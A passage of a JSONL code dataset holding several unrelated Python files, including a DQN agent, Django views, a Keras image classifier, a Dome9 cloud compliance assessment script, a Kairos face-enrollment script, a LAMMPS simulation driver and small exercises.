eps_min=0.001, reward_shape=2):\n self.lr = lr\n self.gamma = 0.99\n self.reward_shape = reward_shape\n self.input_shape = input_shape\n self.n_actions = n_actions\n self.surprise = 0.5\n\n self.learn_cntr = 0\n self.replace = 100\n\n self.eps = 1\n self.eps_dec = eps_dec\n self.eps_min = eps_min\n\n self.model = Network(lr, self.input_shape, self.n_actions)\n self.target = Network(lr, self.input_shape, self.n_actions)\n self.memory = cpprb.ReplayBuffer(1_000_000,{\"obs\": {\"shape\": self.input_shape},\n \"act\": {\"shape\": 1},\n \"rew\": {},\n \"next_obs\": {\"shape\": self.input_shape},\n \"done\": {},\n })\n\n\n def choose_action(self, state):\n if np.random.random() > self.eps:\n state = torch.Tensor(state).to(self.model.device)\n states = state.unsqueeze(0)\n actions = self.model(states)\n action = torch.argmax(actions).item()\n else:\n action = np.random.choice([i for i in range(self.n_actions)])\n\n return action\n\n def replace_ntwrk(self):\n self.target.load_state_dict(self.model.state_dict())\n\n def learn(self, batchSize):\n if self.memory.memCount < batchSize:\n return\n\n self.model.optimizer.zero_grad()\n\n if self.learn_cntr % self.replace == 0:\n self.replace_ntwrk()\n\n state, action, reward, state_, done, players = self.memory.sample(batchSize)\n\n states = torch.Tensor(state).to(torch.float32 ).to(self.model.device)\n actions = torch.Tensor(action).to(torch.int64 ).to(self.model.device)\n rewards = torch.Tensor(reward).to(torch.float32 ).to(self.model.device)\n states_ = torch.Tensor(state_).to(torch.float32 ).to(self.model.device)\n dones = torch.Tensor(done).to(torch.bool ).to(self.model.device)\n\n batch_indices = np.arange(batchSize, dtype=np.int64)\n qValue = self.model(states, players)[batch_indices, actions]\n\n qValues_ = self.target(states_)\n qValue_ = torch.max(qValues_, dim=1)[0]\n qValue_[dones] = 0.0\n\n td = rewards + self.gamma * qValue_\n loss = self.model.loss(td, qValue)\n loss.backward()\n self.model.optimizer.step()\n\n # PER\n error = td - qValue\n\n\n self.eps -= self.eps_dec\n if self.eps < self.eps_min:\n self.eps = self.eps_min\n\n self.learn_cntr += 1\n","sub_path":"DQN.py","file_name":"DQN.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"291386892","text":"from functools import reduce\nfrom django.views.generic.list import ListView\nfrom django.views.generic.detail import DetailView\nfrom apps.sites.models import Site\n\n\nclass SitesView(ListView):\n model = Site\n template_name = 'sites.html'\n\n def render_to_response(self, context, **response_kwargs):\n response_kwargs.setdefault('content_type', self.content_type)\n context.update({'sites': Site.objects.all(),\n 'active': 'sites'})\n return self.response_class(\n request=self.request,\n template=self.get_template_names(),\n context=context,\n using=self.template_engine,\n **response_kwargs\n )\n\n\nclass SiteDetailView(DetailView):\n model = Site\n pk_url_kwarg = 'site_id'\n template_name = 'site.html'\n\n def get(self, request, *args, **kwargs):\n self.object = self.get_object()\n context = self.get_context_data(object=self.object)\n context.update({'active': 'sites'})\n return self.render_to_response(context)\n\n\nclass SummaryView(ListView):\n model = Site\n template_name = 'summary.html'\n\n def render_to_response(self, context, **response_kwargs):\n context.update({'active': 'summary'})\n\n for i in context['object_list']:\n a_value = reduce(lambda x, y: x + y, [i.a_value for i in i.values.all()])\n b_value = reduce(lambda x, y: x + y, [i.b_value for i in i.values.all()])\n\n setattr(i, 'a_value', a_value)\n setattr(i, 'b_value', b_value)\n\n response_kwargs.setdefault('content_type', self.content_type)\n return self.response_class(\n request=self.request,\n template=self.get_template_names(),\n context=context,\n using=self.template_engine,\n **response_kwargs\n )\n\n\nclass SummaryAverageView(ListView):\n model = Site\n template_name = 'summary.html'\n\n def render_to_response(self, context, **response_kwargs):\n context.update({'active': 'average'})\n\n for i in context['object_list']:\n total_values = len(i.values.all())\n a_value = reduce(lambda x, y: x + y, [i.a_value for i in i.values.all()])\n b_value = reduce(lambda x, y: x + y, [i.b_value for i in i.values.all()])\n\n a_value /= total_values\n b_value /= total_values\n\n setattr(i, 'a_value', a_value)\n setattr(i, 'b_value', b_value)\n\n response_kwargs.setdefault('content_type', self.content_type)\n return self.response_class(\n request=self.request,\n template=self.get_template_names(),\n context=context,\n using=self.template_engine,\n **response_kwargs\n )\n","sub_path":"apps/sites/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"373917445","text":"#!/usr/bin/env python2.7\n# -*- mode: python; encoding: utf-8; -*-\n\"\"\".\n\nXXX: This code is shared with apt-config-tool.\n\"\"\"\nfrom __future__ import division, absolute_import, unicode_literals, print_function\nfrom future_builtins import *\n\nimport logging\nimport subprocess\n\nfrom intensional import Re\n\n\nlog = logging.getLogger('apt-config-tool')\n\n\ndef parse_apt_config(dump):\n for line in dump.splitlines():\n if line not in Re(r'^([^ ]+) \"(.*)\";$'):\n raise AssertionError('Horrible parsing code has horribly failed!')\n yield (Re._[1], Re._[2])\n\n\ndef get_apt_config():\n return dict(parse_apt_config(subprocess.check_output(('apt-config', 'dump'))))\n\n\ndef get_apt_proxy():\n config = get_apt_config()\n\n proxy = config.get('Acquire::http::Proxy')\n if proxy:\n log.debug('Using host\\'s apt proxy: {}'.format(proxy))\n return proxy\n\n # You can install squid-deb-proxy-client, which supplies a tiny little script that asks avahi\n # for any zeroconf-advertised apt proxies.\n proxy_autodetect = config.get('Acquire::http::ProxyAutoDetect')\n if proxy_autodetect:\n log.debug('Using host\\'s apt proxy autodetection script: {}'.format(proxy_autodetect))\n proxy = subprocess.check_output((proxy_autodetect,)).strip()\n if proxy:\n log.debug('Autodetected apt proxy: {}'.format(proxy))\n return proxy\n\n log.debug('Couldn\\'t find an apt proxy.')\n return None\n","sub_path":"docker_debuild/apt_proxy_utils.py","file_name":"apt_proxy_utils.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"115276597","text":"from keras.metrics import *\nfrom keras.layers import *\nfrom keras.models import *\nfrom keras.callbacks import *\nfrom keras.optimizers import *\nfrom keras.preprocessing.image import ImageDataGenerator\n\n# dimensions of our images.\nimg_width, img_height = 128, 128\n\ntrain_data_dir = 'data/train'\nvalidation_data_dir = 'data/validation'\nnb_train_samples = 435130\nnb_validation_samples = 24426\nepochs = 50\nbatch_size = 64\n\n# changez le nom à chaque fois svp ↓\nexperiment_name = \"INATURALIST_E500_D512_C16.3.3_Lr0.01_Relu\"\ntb_callback = TensorBoard(\"./logs/\" + experiment_name, )\n\nprint(\"Model training will start soon\")\n\nif K.image_data_format() == 'channels_first':\n input_shape = (3, img_width, img_height)\nelse:\n input_shape = (img_width, img_height, 3)\n\nmodel = Sequential()\nmodel.add(Conv2D(32, (3, 3), input_shape=input_shape))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(16, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(16, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Flatten())\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(8142))\nmodel.add(Activation('softmax'))\n\nsgd = optimizers.SGD(lr=0.1, decay=1e-6, momentum=0.9, nesterov=True)\n\n# model.compile(loss='binary_crossentropy',\n# optimizer='rmsprop',\n# metrics=['accuracy'])\n\n\n# model.compile(sgd, mse, metrics=['categorical_accuracy'])\nmodel.compile(sgd, loss='categorical_crossentropy', metrics=['accuracy'])\n\n# this is the augmentation configuration we will use for training\ntrain_datagen = ImageDataGenerator(\n rescale=1. / 255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\n\n# this is the augmentation configuration we will use for testing:\n# only rescaling\ntest_datagen = ImageDataGenerator(rescale=1. / 255)\n\ntrain_generator = train_datagen.flow_from_directory(\n train_data_dir,\n\n target_size=(img_width, img_height),\n batch_size=batch_size, shuffle=True, seed=None,\n class_mode='categorical',\n interpolation='nearest')\n\nvalidation_generator = test_datagen.flow_from_directory(\n validation_data_dir,\n target_size=(img_width, img_height),\n batch_size=batch_size, shuffle=True, seed=None,\n class_mode='categorical',\n interpolation='nearest')\n\nmodel.fit_generator(\n train_generator,\n steps_per_epoch=nb_train_samples // batch_size,\n epochs=epochs,\n callbacks=[tb_callback],\n validation_data=validation_generator,\n validation_steps=nb_validation_samples // batch_size)\n\nmodel.save_weights('first_try.h5')\n","sub_path":"models/conv2d.py","file_name":"conv2d.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"429368635","text":"# 3rd party libraries\nimport boto3 # $ pip install boto3\nimport requests # $ pip install requests\n\n# python standard libraries\nimport json\nimport csv\nimport argparse\nimport datetime\nimport os\n\nt0 = datetime.datetime.utcnow()\ntotal_sec = 0\nAPIVersion=1.01\n\n\nclass FailedEntity:\n def __init__(self):\n self.entity_id = None\n self.arn = None\n self.name = None\n self.tags = None\n self.type = None\n\n def set_entity_id(self, entity_id):\n self.entity_id = entity_id\n\n def set_arn(self, arn):\n self.arn = arn\n\n def set_name(self, name):\n self.name = name\n\n def set_tags(self, tags):\n self.tags = tags\n\n def set_type(self, type):\n self.type = type\n\n def __str__(self):\n rep = \"\\t\\t\\tEntity:\\n\"\n rep += ''.join(filter(None, [\"\\t\\t\\ttype: \", self.type, \"\\n\"]))\n rep += ''.join(filter(None, [\"\\t\\t\\tname: \", self.name, \"\\n\"]))\n rep += ''.join(filter(None, [\"\\t\\t\\tid: \", self.entity_id, \"\\n\"]))\n # rep += ''.join(filter(None, [\"\\t\\t\\tarn: \", self.arn, \"\\n\"]))\n\n return rep\n\n\nclass FailedTest:\n def __init__(self):\n self.rule_name = None\n self.rule_desc = None\n self.rule_severity = None\n\n def set_rule_name(self, rule_name):\n self.rule_name = rule_name\n\n def set_rule_desc(self, rule_desc):\n self.rule_desc = rule_desc\n\n def set_rule_severity(self, rule_severity):\n self.rule_severity = rule_severity\n\n def __str__(self):\n rep = \"\\tTest:\\n\"\n rep += \"\\t\\trule name: \" + self.rule_name + \"\\n\"\n rep += \"\\t\\tseverity: \" + self.rule_severity + \"\\n\"\n # rep += \"\\t\\tdescription: \" + self.rule_desc + \"\\n\"\n\n return rep\n\n\ndef run_assessment(bundle_id, aws_cloud_account, d9_secret, d9_key, region, d9_cloud_account=\"\", maxTimeoutMinutes=10):\n\n global t0,total_sec\n t0_run_assessment = datetime.datetime.utcnow()\n t0 = datetime.datetime.utcnow()\n d9region = region.replace('-', '_') # dome9 identifies regions with underscores\n print(\"\\n Dome9 Run Assessment Interface Version - {}\".format(APIVersion))\n print(\"\\n\" + \"*\" * 50 + \"\\nStarting Assessment Execution\\n\" + \"*\" * 50)\n d9_id = \"\"\n # Need to get the Dome9 cloud account representation\n if d9_cloud_account == \"\":\n print('\\nResolving Dome9 account id from aws account number: {}'.format(aws_cloud_account))\n r = requests.get('https://api.dome9.com/v2/cloudaccounts/{}'.format(aws_cloud_account),\n auth=(d9_key, d9_secret))\n r.raise_for_status()\n d9_id = r.json()['id']\n print('Found it. Dome9 cloud account Id={}'.format(d9_id))\n\n headers = {\n 'Content-Type': 'application/json',\n 'Accept': 'application/json'\n }\n\n body = {\n \"id\": bundle_id,\n \"cloudAccountId\": d9_id,\n \"region\": d9region,\n \"cloudAccountType\": \"Aws\"\n }\n\n r = requests.post('https://api.dome9.com/v2/assessment/bundleV2', data=json.dumps(body), headers=headers,\n auth=(d9_key, d9_secret))\n r.raise_for_status()\n tn = datetime.datetime.utcnow()\n\n #check that max timeout was not reached\n if checkThatMaxTimeWasNotReached(t0, maxTimeoutMinutes):\n return\n\n total_sec = total_sec + (tn - t0).total_seconds()\n\n print(\"\\n\" + \"*\" * 50 + \"\\nAssessment Execution Done in {} seconds \\n\".format((tn - t0_run_assessment).total_seconds()) + \"*\" * 50)\n\n return r.json()\n\n\n# Analyze the assessment execution result and return the assets id and types for all the assets the fail in\n# each rule execution\n\ndef print_map(failed_Test_relevant_entites_map):\n for test in failed_Test_relevant_entites_map:\n print(test)\n print(\"\\n\\t\\tFailed Entities:\\n\")\n for entity in failed_Test_relevant_entites_map[test]:\n print(entity)\n\n\ndef checkThatMaxTimeWasNotReached (t0, maxTimeoutMinutes):\n tNow = datetime.datetime.utcnow()\n elapsed = (tNow - t0).total_seconds()\n print('\\nCurrent run time of d9 assessment execution and analyzing is - {} Seconds\\n'.format(elapsed))\n if elapsed > maxTimeoutMinutes * 60:\n print('\\nStopping script, passed maxTimeoutMinutes ({})'.format(maxTimeoutMinutes))\n return True\n return False\n\ndef analyze_assessment_result(assessment_result, aws_cloud_account, region, stack_name, aws_profile='', print_flag=True, maxTimeoutMinutes=10):\n global t0, total_sec\n t0_run_assessment_analyze = datetime.datetime.utcnow()\n\n # resource_physical_ids - its a list of the resource ids that related to the stack_name and supported by Dome9\n # The ids are from the cfn describe and based on the PhysicalResourceId field list_of_failed_entities - It's a\n # list of FailedEntity that will contain for each failed entities in the assessment result it's id,arn,name,tags\n print(\"\\n\" + \"*\" * 50 + \"\\nStarting To Analyze Assessment Result\\n\" + \"*\" * 50 + \"\\n\")\n (resource_physical_ids, filed_tests_map) = prepare_results_to_analyze(aws_cloud_account, region, stack_name,\n aws_profile, assessment_result)\n\n print(\"\\nBundle - {}\".format(assessment_result[\"request\"][\"name\"]))\n print(\"\\nNumber of total failed tests: {}\\n\".format(len(filed_tests_map)))\n print(\"\\nFailed Tests that are relevant to the Stack - {}:\\n\".format(stack_name))\n\n # add statistics about the assessment result and print the stuck name\n\n\n failed_test_relevant_entities_map = dict()\n for failed_test in filed_tests_map:\n fallback = True\n relevant_failed_entities = list()\n for failed_entity in filed_tests_map[failed_test]:\n # 1st check with the tags \"key\": \"aws:cloudformation:stack-name\" equals to our stack_name\n if failed_entity.tags:\n for tag in failed_entity.tags:\n if tag[\"key\"] == \"aws:cloudformation:stack-name\" and tag[\"value\"] == stack_name:\n relevant_failed_entities.append(failed_entity)\n fallback = False\n # 2nd if the entity doesn't have tags fall back to id\n if fallback and failed_entity.entity_id:\n if failed_entity.entity_id in resource_physical_ids:\n relevant_failed_entities.append(failed_entity)\n fallback = False\n # 3rd fall back to name\n if fallback and failed_entity.name:\n if failed_entity.name in resource_physical_ids:\n relevant_failed_entities.append(failed_entity)\n fallback = False\n # 4th fall back to arn\n if fallback and failed_entity.arn:\n if failed_entity.arn in resource_physical_ids:\n relevant_failed_entities.append(failed_entity)\n fallback = False\n\n if len(relevant_failed_entities) > 0:\n failed_test_relevant_entities_map[failed_test] = relevant_failed_entities\n if print_flag:\n print_map(failed_test_relevant_entities_map)\n\n #check that max timeout was not reached\n if checkThatMaxTimeWasNotReached(t0, maxTimeoutMinutes):\n return\n\n tn = datetime.datetime.utcnow()\n total_sec = total_sec + (tn - t0_run_assessment_analyze).total_seconds()\n print(\"\\n\" + \"*\" * 50 + \"\\nAssessment Analyzing Was Done in {} seconds\\n\".format((tn - t0_run_assessment_analyze).total_seconds()) + \"*\" * 50 + \"\\n\")\n\n return failed_test_relevant_entities_map\n\n\ndef prepare_results_to_analyze(aws_cloud_account, region, stack_name, aws_profile, assessment_result):\n # allow to specify specific profile, fallback to standard boto credentials lookup strategy\n # https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html\n aws_session = boto3.session.Session(profile_name=aws_profile,\n region_name=region) if aws_profile else boto3.session.Session(\n region_name=region)\n\n # sanity test - verify that we have credentials for the relevant AWS account numnber\n sts = aws_session.client('sts')\n account_id = sts.get_caller_identity()[\"Account\"]\n if (str(aws_cloud_account) != str(account_id)):\n print(aws_cloud_account)\n print(account_id)\n print(\n 'Error - the provided awsAccNumber ({}) is not tied to the AWS credentials of this script ({}) consider '\n 'providing a different \"profile\" argument'.format(\n aws_cloud_account, account_id))\n exit(2)\n\n cfn = aws_session.client('cloudformation')\n response_pages = list()\n api_response = cfn.list_stack_resources(\n StackName=stack_name,\n )\n\n # print(api_response)\n response_pages.append(api_response)\n while 'NextToken' in api_response:\n api_response = cfn.list_stack_resources(\n StackName=stack_name,\n NextToken=api_response['NextToken']\n )\n response_pages.append(api_response)\n\n # get dome9 types from mapping file\n MAPPINGS_PATH = \"%s/cfn_mappings.csv\" % (os.path.dirname(os.path.realpath(__file__)))\n cfn_mappings = dict()\n with open(MAPPINGS_PATH, \"r\") as f:\n reader = csv.DictReader(f)\n for item in reader:\n if item['Dome9']:\n cfn_mappings[item['CFN']] = item['Dome9'].split(',')\n\n # Prepare the set of physical resource ids for the relevant d9 supported resources from the stack\n resource_physical_ids = set() # set will make it unique\n for response in response_pages:\n for resource in response['StackResourceSummaries']:\n resource_type = resource['ResourceType']\n resource_physical_id = resource[\"PhysicalResourceId\"]\n if resource_type in cfn_mappings:\n resource_physical_ids.add(resource_physical_id)\n\n # Prepare full entity representation (id,arn,name) of each failed entity\n filed_tests_map = dict()\n\n # for all the failed tests\n for test in [tst for tst in assessment_result[\"tests\"] if not tst[\"testPassed\"]]:\n failed_test = FailedTest()\n list_of_failed_entities = list()\n failed_test.set_rule_name(test[\"rule\"][\"name\"])\n failed_test.set_rule_severity(test[\"rule\"][\"severity\"])\n failed_test.set_rule_desc(test[\"rule\"][\"description\"])\n\n filed_tests_map[failed_test] = None\n\n # for each failed asset\n for entity in [ast for ast in test[\"entityResults\"] if ast[\"isRelevant\"] and not ast[\"isValid\"]]:\n entity_type = entity['testObj']['entityType']\n entity_idx = entity['testObj'][\"entityIndex\"]\n if entity_idx >= 0:\n full_d9_entity = assessment_result[\"testEntities\"][entity_type][entity_idx]\n failed_entity = FailedEntity()\n failed_entity.set_type(entity_type)\n # print(full_d9_entity_json)\n if 'id' in full_d9_entity:\n failed_entity.set_entity_id(full_d9_entity[\"id\"])\n if 'arn' in full_d9_entity:\n failed_entity.set_arn(full_d9_entity[\"arn\"])\n if 'name' in full_d9_entity:\n failed_entity.set_name(full_d9_entity[\"name\"])\n if 'tags' in full_d9_entity:\n failed_entity.set_tags(full_d9_entity[\"tags\"])\n list_of_failed_entities.append(failed_entity)\n filed_tests_map[failed_test] = list_of_failed_entities\n\n return resource_physical_ids, filed_tests_map\n\n\ndef main():\n parser = argparse.ArgumentParser(description='')\n parser.add_argument('--d9keyId', required=True, type=str)\n parser.add_argument('--d9secret', required=True, type=str)\n parser.add_argument('--awsCliProfile', required=False, type=str)\n parser.add_argument('--awsAccountNumber', required=True, type=str)\n parser.add_argument('--d9CloudAccount', required=False, type=str, default='')\n parser.add_argument('--region', required=True, type=str)\n parser.add_argument('--stackName', required=True, type=str)\n parser.add_argument('--bundleId', required=True, type=int)\n parser.add_argument('--maxTimeoutMinutes', required=False, type=int, default=10)\n args = parser.parse_args()\n # Take start time\n print(\"\\n\\n{}\\nStarting...\\n{}\\n\\nSetting now (UTC {}) \".format(80 * '*', 80 * '*', t0))\n\n result = run_assessment(bundle_id=args.bundleId, aws_cloud_account=args.awsAccountNumber,\n d9_secret=args.d9secret,\n d9_key=args.d9keyId, region=args.region, maxTimeoutMinutes=args.maxTimeoutMinutes)\n res = analyze_assessment_result(assessment_result=result, aws_cloud_account=args.awsAccountNumber,\n region=args.region,\n stack_name=args.stackName, aws_profile=args.awsCliProfile, maxTimeoutMinutes=args.maxTimeoutMinutes)\n\n print(\"\\n\" + \"*\" * 50 + \"\\nRun and analyzing Assessment Script ran for {} seconds\\n\".format(\n total_sec) + \"*\" * 50 + \"\\n\")\n return res\n\n\nif __name__ == \"__main__\":\n\n main()\n","sub_path":"Dome9 CI:CD Scripts Interface/d9_run_assessment.py","file_name":"d9_run_assessment.py","file_ext":"py","file_size_in_byte":13103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"516418046","text":"import random\ndinheiros = 1000\njogo = True\nwhile jogo:\n iniciar = input('Quer apostar? (sim/não): ')\n if iniciar == 'não':\n jogo = False\n else:\n dado1 = random.randint(1,6)\n dado2 = random.randint(1,6)\n sdados = dado1+dado2\n jogada = True\n valor_aposta = 30\n while jogada:\n dinheiros -= valor_aposta \n valor_aposta -= 10\n aposta = int(input('Qual o valor da soma?: '))\n if aposta == sdados:\n dinheiros += 50\n jogada = False\n else:\n if valor_aposta == 0:\n jogada = False\n else:\n pergunta = input('Quer continuar tentando ou vai desistir?: ')\n if pergunta == 'desistir':\n jogada = False\n print('Você terminou a partida com {0} dinheiros'.format(dinheiros))\n if dinheiros <= 0:\n jogo = False\n \n ","sub_path":"backup/user_202/ch141_2020_04_01_20_42_35_039384.py","file_name":"ch141_2020_04_01_20_42_35_039384.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"71666809","text":"\"\"\"This file houses the balance function and helper functions that\r\ncomes with it. \"\"\"\r\n\r\nimport country as c\r\nimport random\r\nfrom country import Country\r\nfrom operator import attrgetter\r\n\r\n\r\ndef find_negative_country(curr_country: Country) -> Country:\r\n temp_list = c.country_master_list\r\n temp_list.reverse\r\n for country in temp_list:\r\n if country.surplus() < 0:\r\n return country\r\n\r\n\r\ndef find_poor_country(curr_country: Country) -> Country:\r\n temp_master_list = c.country_master_list\r\n temp_master_list.sort(key=attrgetter(\"gdp\"))\r\n for country in temp_master_list:\r\n if country.surplus() < 2:\r\n return country\r\n\r\n\r\ndef test_total_vaccines():\r\n total = 0\r\n for country in c.country_master_list:\r\n total += country.num_vaccines\r\n return total\r\n\r\n\r\ndef new_bal() -> None:\r\n for country in c.country_master_list:\r\n value = country.surplus()\r\n if value > 0:\r\n if find_negative_country(country) is None:\r\n break\r\n else:\r\n for country2 in c.country_master_list:\r\n if country2.surplus() < 0:\r\n country.donate(country.surplus())\r\n country2.receive_donation(country.surplus())\r\n\r\n\r\ndef scaled_vaccine_nums(country: str) -> int:\r\n \"\"\"This function will return an approprite integer which represents the \r\n number of vaccines a country has\"\"\"\r\n\r\n country2 = c.find_country(c.country_master_list, country)\r\n return random.randint(int(country2.num_pop-country2.num_pop*0.25), int(country2.num_pop+country2.num_pop*0.10))\r\n\r\n","sub_path":"balance_distributions.py","file_name":"balance_distributions.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"394346186","text":"import base_disaster_scenario\nfrom rally.benchmark.scenarios import base\n\n\nclass BaseDisasterScenario(base_disaster_scenario.BaseDisasterScenario):\n\n @base.scenario()\n def test_scenario_1(self):\n self.run_disaster_command(self.context[\"controllers\"][0],\n \"stop rabbitmq service\")\n\n ## need to extend it\n self.boot_vm()","sub_path":"rally-scenarios/rabbitmq_disaster_scenarios.py","file_name":"rabbitmq_disaster_scenarios.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"196958799","text":"\n# This script is run automatically when motion is detected\n# Store this file at /etc/motion/motion_handler.py\n\nimport base64\nimport requests\nimport configparser\n\n# Get API keys and metadata from config file.\nconfig = configparser.RawConfigParser()\nconfig.read('/etc/motion/api_keys.cfg')\napp_id = config.get('KairosData', 'app_id')\napp_key = config.get('KairosData', 'app_key')\ngallery_name = config.get('KairosData', 'gallery_name')\n\n# image_filename is the path to the image you want to enroll\nimage_filename = config.get('KairosData', 'image_filename')\n\n# subject_id is the ID for the face being enrolled\nsubject_id = config.get('KairosData', 'subject_id')\n\nimage_file = open(image_filename, \"rb\")\nimage = base64.b64encode(image_file.read()).decode(\"ascii\")\nimage_file.close()\n\nvalues = {\n \"image\": image,\n \"subject_id\": subject_id,\n \"gallery_name\": gallery_name,\n}\n\nheaders = {\n 'Content-Type': 'application/json',\n 'app_id': app_id,\n 'app_key': app_key\n}\n\nresponse = requests.post('https://api.kairos.com/enroll', json=values, headers=headers).json()\n\nprint(response)","sub_path":"utils/enroll_image.py","file_name":"enroll_image.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"539580902","text":"# create_runs.py\n# Script that compiles and executes .cpp files\n# Usage:\n# python create_runs.py (without .cpp extension)\n\nimport sys, os, getopt, re \nimport shutil\ndef main():\n run_dir = '/home/student/Desktop/Shira_Michal/before_ delete/8_16'\n params_file = open('{}/nvt_BB_real/Extra_Potential_Parameters.txt'.format(run_dir), 'r')\n lines = params_file.readlines()\n f1_vals = lines[19]\n f1_vals = f1_vals.split(\",\")\n f2_vals = lines[21]\n f2_vals = f2_vals.split(\",\")\n params_file.close()\n f1_vals = range(int(f1_vals[0]), int(f1_vals[1]), int(f1_vals[2]))# range(50, 151, 50)\n f2_vals = float(f2_vals[0])# range(0.75,1,1)\n\t# 3 steps of run\n suffixes = [('min', 'min'),\n ('nvt_1', 'nvt'),\n ('nvt_BB_real', 'nvt')]\n for f11 in f1_vals:\n for f12 in f1_vals:\n #for f13 in f1_vals:\n for f14 in f1_vals:\n if (True): #(f11 == 50 and f12 == 100 and f14 == 150): \t# for case of run only one combination\n print ('------------------------------ f11, f12, f14:', f11, f12,0, f14)\n ############################# update the f1, f2 params in the file #################################\n params_file = open('{}/nvt_BB_real/Extra_Potential_Parameters.txt'.format(run_dir), 'r')\n lines = params_file.readlines()\n params_file.close()\n params_file = open('{}/nvt_BB_real/Extra_Potential_Parameters.txt'.format(run_dir), 'w')\n mult = []\n mult.append(f11)\n mult.append(f12)\n mult.append(0)#f13)\n mult.append(f14)\n for line_num, (line, f1) in enumerate(zip(lines[14:], mult)):\n data = line.split()\n data[2] = str(f1)\n data[3] = str(f2_vals)\n if line_num == 2:\n data[3] = str(0)\n lines[line_num+14] = ' '.join(data) + '\\n'\n params_file.writelines(lines)\n params_file.close()\n ###################################################################################################\n ########################################## runs 3 levels ##########################################\n for suffix, exe_file in suffixes:\n if True: # suffix == 'nvt_BB_real': #just for the first time you run the program on this size of run(2-4, 8-18, 16-32...) you need the True else use the 'nvt_BB_real' condition\n curr_dir = '{}/{}'.format(run_dir, suffix)\n # cmd = '/home/student/lammps/src/lmp_serial < in.{}'.format(exe_file)\n cmd = 'OMP_NUM_THREADS=4 /home/student/lammps/src/lmp_omp -sf omp < in.{}'.format(exe_file)\n out_file = 'res_{}.txt'.format(exe_file)\n run(curr_dir, cmd, out_file) # do cd + run in.suffix\n ###################################################################################################\n ################################ save results of nvt__BB run ######################################\n inputFile_t = str('{}/nvt_BB_real/species.out'.format(run_dir))\n all_species = str('{}/nvt_BB_real/all_results_for_f1_f2/'.format(run_dir))+'species'+str(f11)+\"_\"+ str(f12)+ \"_\"+str(0)+ \"_\"+str(f14)+'.txt'\n shutil.copy2(inputFile_t, all_species)\n inputFile_t = str('{}/nvt_BB_real/bonds.reax'.format(run_dir))\n all_species = str('{}/nvt_BB_real/all_results_for_f1_f2/'.format(run_dir)) + 'bonds' + str(f11) + \"_\" + str(f12) + \"_\" + str(0) + \"_\" + str(f14) + '.reax'\n shutil.copy2(inputFile_t, all_species)\n\n ###################################################################################################\n print(\"complited\")\n\ndef run(dir, cmd, out_file):\n\t# this func execute cpp functions\n os.chdir(dir)\n os.system(\"echo do cd to \" + os.getcwd())\n os.system(\"echo Running \" + cmd)\n os.system('{} > {}'.format(cmd, out_file))\n os.system(\"echo -------------------\")\n\nif __name__=='__main__':\n main()\n","sub_path":"python code/create_runs.py","file_name":"create_runs.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"207556272","text":"# Import pyplot\nimport matplotlib.pyplot as plt\n# Import pandas\nimport pandas as pd\n\n# Import dataset\ndf = pd.read_csv('../datasets/weather_data_austin_2010.csv', nrows=1000);\n\n# Change columns names\ndf.rename(columns={'Temperature': 'Temperature (deg F)', 'DewPoint': 'Dew Point (deg F)'}, inplace=True)\n\n# Plot all columns (default)\ndf.plot()\nplt.show()\n\n# Plot all columns as subplots\ndf.plot(subplots=True)\nplt.show()\n\n# Plot just the Dew Point data\ncolumn_list1 = ['Dew Point (deg F)']\ndf[column_list1].plot()\nplt.show()\n\n# Plot the Dew Point and Temperature data, but not the Pressure data\ncolumn_list2 = ['Temperature (deg F)','Dew Point (deg F)']\ndf[column_list2].plot()\nplt.show()","sub_path":"plotting-dataframes-pandas/plotting-dataframes-pandas.py","file_name":"plotting-dataframes-pandas.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"604838389","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport colour\n\nfrom sklearn.metrics import r2_score\n\n\ndef compare_param_dist(param_raw, param_pred):\n len_param = len(param_raw)\n category = (['height'] * len_param + ['gap'] * len_param + ['period'] * len_param + ['diameter'] * len_param) * 2\n param_raw = param_raw.T.reshape(-1)\n param_pred = param_pred.T.reshape(-1)\n type = ['raw'] * len(param_pred) + ['pred'] * len(param_pred)\n res_df = pd.DataFrame({'val':np.concatenate((param_raw, param_pred)), 'cat':category, 'type':type})\n sns.boxplot(x='cat', y='val', data=res_df, hue='type')\n\ndef compare_cie_dist(cie_raw, cie_pred):\n len_cie = len(cie_raw)\n category = (['x'] * len_cie + ['y'] * len_cie + ['Y'] * len_cie) * 2\n cie_raw = cie_raw.T.reshape(-1)\n cie_pred = cie_pred.T.reshape(-1)\n type = ['raw'] * len(cie_pred) + ['pred'] * len(cie_pred)\n res_df = pd.DataFrame({'val':np.concatenate((cie_raw, cie_pred)), 